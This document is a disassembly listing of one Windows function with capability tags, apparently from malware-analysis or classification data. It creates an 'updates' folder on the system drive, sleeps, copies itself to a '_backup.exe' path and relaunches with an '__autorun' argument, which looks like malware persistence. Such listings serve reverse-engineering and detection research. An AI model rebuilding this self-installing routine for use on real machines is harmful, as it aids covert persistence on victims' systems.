Function at 0x406650
Capabilities:
Create directory
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x67c
mov eax, dword [0x42a6dc]
xor eax, esp
mov dword [esp + 0x678], eax
push ebx
push esi
push edi
push 0x103
lea eax, [esp + 0x75]
push 0
push eax
mov byte [esp + 0x7c], 0
call fcn.0040dc80
add esp, 0xc
lea eax, [esp + 0x179]
push 0x103
push 0
push eax
mov byte [esp + 0x184], 0
call fcn.0040dc80
add esp, 0xc
push 0x400
push 0x42d164
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
push str.SystemDrive
call fcn.0040b25e
mov al, byte [eax]
add esp, 4
mov byte [0x42ba68], al
call fcn.004065d0
push 0x42ba68
push 0x104
push 0x42d180
call fcn.00409099
add esp, 0xc
push str.updates
push 0x104
push 0x42d180
call fcn.004090ee
add esp, 0xc
push 0
push 0x42d180
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x42bb6c
lea eax, [esp + 0x284]
push 0x400
push eax
call fcn.00409099
add esp, 0xc
xor ecx, ecx
call fcn.00406390
test al, al
je 0x4067fc
cmp byte [0x42d288], 0
je 0x4067fc
mov ecx, dword [0x42d394]
sub ecx, dword [0x42d390]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
xor esi, esi
test eax, eax
jle 0x4067fc
xor edi, edi
jmp 0x406770
push 0x427e18
lea eax, [esp + 0x284]
push 0x400
push eax
call fcn.004090ee
mov ecx, dword [0x42d394]
mov ebx, dword [0x42d390]
sub ecx, ebx
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 0xc
cmp eax, esi
jbe 0x406875
cmp dword [edi + ebx + 0x14], 0x10
lea eax, [edi + ebx]
jb 0x4067bd
mov eax, dword [eax]
push eax
lea eax, [esp + 0x284]
push 0x400
push eax
call fcn.004090ee
mov ecx, dword [0x42d394]
sub ecx, dword [0x42d390]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
inc esi
add eax, edx
add esp, 0xc
add edi, 0x18
cmp esi, eax
jl 0x406770
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x284]
push 0x427e18
push eax
call fcn.0040b2da
add esp, 0xc
test eax, eax
je 0x406843
lea ebx, [ebx]
mov ecx, eax
call fcn.00406390
test al, al
jne 0x406843
lea eax, [esp + 0x14]
push eax
push 0x427e18
push 0
call fcn.0040b2da
add esp, 0xc
test eax, eax
jne 0x406820
cmp byte [0x42d288], 0
je 0x40687f
mov ecx, 0x42d288
call fcn.00407570
mov ecx, dword [0x42d38c]
mov edx, 0x1e
lea eax, [ecx - 1]
cmp eax, 0xb3
cmovbe edx, ecx
imul edx, edx, 0xea60
push edx
jmp 0x406884
push str.invalid_vector_T__subscript
call fcn.00408755
push 0x1b7740
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x42ba68
lea eax, [esp + 0x74]
push 0x104
push eax
call fcn.00409099
add esp, 0xc
lea eax, [esp + 0x70]
push str._backup.exe
push 0x104
push eax
call fcn.004090ee
add esp, 0xc
lea ecx, [esp + 0x70]
call fcn.00407a20
test al, al
jne 0x4068ce
lea ecx, [esp + 0x70]
call fcn.00404710
lea ecx, [esp + 0x70]
call fcn.00407a20
test al, al
je 0x4069ad
push str.__autorun
lea eax, [esp + 0x74]
push 0x104
push eax
call fcn.004090ee
add esp, 0xc
lea eax, [esp + 0x178]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x178]
push eax
lea eax, [esp + 0x74]
push 0x104
push eax
call fcn.004090ee
add esp, 0xc
lea eax, [esp + 0x2c]
push 0x40
push 0
push eax
mov dword [esp + 0x34], 0x44
call fcn.0040dc80
add esp, 0xc
xor eax, eax
mov word [esp + 0x58], ax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x90]
push eax
push 0
mov dword [esp + 0x7c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x10]
cmp ecx, 0x666666
cmovne eax, dword [esp + 0x18]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0x70]
call fcn.00404710
lea eax, [esp + 0x70]
push str.__autorun
push eax
call fcn.0040ae70
add esp, 8
mov byte [eax], 0
call fcn.004074d0
int3